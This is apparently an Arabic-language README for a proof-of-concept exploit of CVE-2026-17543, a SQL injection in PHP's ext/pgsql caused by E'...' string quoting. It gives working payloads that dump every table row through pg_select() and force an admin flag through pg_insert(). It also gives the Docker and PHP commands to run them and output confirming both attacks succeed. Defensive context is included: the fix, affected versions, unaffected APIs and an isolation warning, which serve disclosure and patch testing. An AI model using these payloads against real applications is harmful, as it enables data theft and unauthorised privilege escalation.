
استغلال PoC لـ CVE-2026-17543: حقن SQL في PHP ext/pgsql عبر كسر الحماية باستخدام الشرطة المائلة العكسية، مع حمولات لاستخراج البيانات وتصعيد صلاحيات المسؤول لـ PostgreSQL.
ext/pgsql عبر كسر E'...' باستخدام الشرطة المائلة العكسيةإثبات مفهوم للثغرة CVE-2026-17543 (CVSS 9.8 — حرجة، CWE-89)، وهي ثغرة حقن SQL في امتداد PostgreSQL الإجرائي في PHP.
تمرر الدوال pg_insert() وpg_select() وpg_update() وpg_delete() وpg_convert() جميعها القيم النصية عبر php_pgsql_convert()، والتي:
PQescapeStringConn() من libpq — والتي، في ظل standard_conforming_strings = on (الإعداد الافتراضي لـ PostgreSQL منذ الإصدار 9.1)، تضاعف ' إلى '' وتترك \ دون تغيير (وهذا صحيح لسلسلة نصية قياسية '...').php_pgsql_add_quotes() في ثابت سلسلة هروب E'...' بدلاً من '...' عادية.داخل E'...'، تكون الشرطة المائلة العكسية حرف هروب، لذا فإن \ موضوعة قبل علامة الاقتباس تُبطل مضاعفة الاقتباس: \' تصبح ' حرفية واحدة، وعلامة الاقتباس الثانية — التي وضعها المهرِّب لتكون حرفاً مكرراً — تنهي السلسلة مبكراً الآن. كل ما بعدها هو SQL خام محقون.
الإصلاح الرسمي (الالتزام ab048bd83b57) هو حرف واحد: إصدار '...' بدلاً من E'...'.
غير المتأثرة: pg_query_params() (ربط المعاملات الحقيقي) والعبارات الجاهزة في PDO_PGSQL / PDO::quote() — تستخدم هذه مسارات برمجية مستقلة لا تستدعي php_pgsql_add_quotes() أبداً.
zzz\' OR 1=1 --
(شرطة مائلة عكسية واحدة مباشرة قبل علامة الاقتباس المفردة)
... WHERE "name"=E'zzz\'' OR 1=1 --' → يُفسَّر OR 1=1 كـ SQL → يُرجع كل الصفوف.... WHERE "name"='zzz\'' OR 1=1 --' → الشرطة المائلة العكسية عادية، لذا تُبتلع OR 1=1 -- داخل السلسلة الحرفية → لا يطابق شيئاً.حمولة ثانية (eve\', true) --) توضح تصعيد الامتيازات عبر pg_insert()، بإجبار عمود admin على القيمة true.
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
على بناء مُصحَّح، يحتوي SQL المُولَّد على '...' (بدون E)، ويُظهر [1] النتيجة rows returned: 0 / no injection، بينما يُظهر [2] النتيجة admin flag: 'f'.
وجّه PGCONN إلى أي PostgreSQL وشغّله مع PHP معرّضة للثغرة:
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql (--with-pgsql / امتداد pgsql).standard_conforming_strings = on).docker compose down -v
صورة PHP المستخدمة هنا غير مُصحَّحة لثغرة CVE-2026-17543 بحكم التعريف. شغّلها فقط في حاوية معزولة ومؤقتة، ونفّذ docker compose down -v عند الانتهاء. لا توجّه أداة إثبات المفهوم هذه أبداً إلى قاعدة بيانات تهمك.
| الفرع | المُعرَّض للثغرة | المُصحَّح |
|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
| الملف | الوصف |
|---|
poc.php | يوضح كلاً من نمطي pg_select لتسريب البيانات وpg_insert لتصعيد الامتيازات؛ ويطبع SQL المُولَّد بحيث يكون رمز E'...' مرئياً |
Dockerfile | يثبّت صورة PHP CLI معرّضة للثغرة (php:8.4.23-cli) مع ext/pgsql |
docker-compose.yml | يشغّل PostgreSQL 16 وحاوية PHP المعرّضة للثغرة وينفّذ poc.php |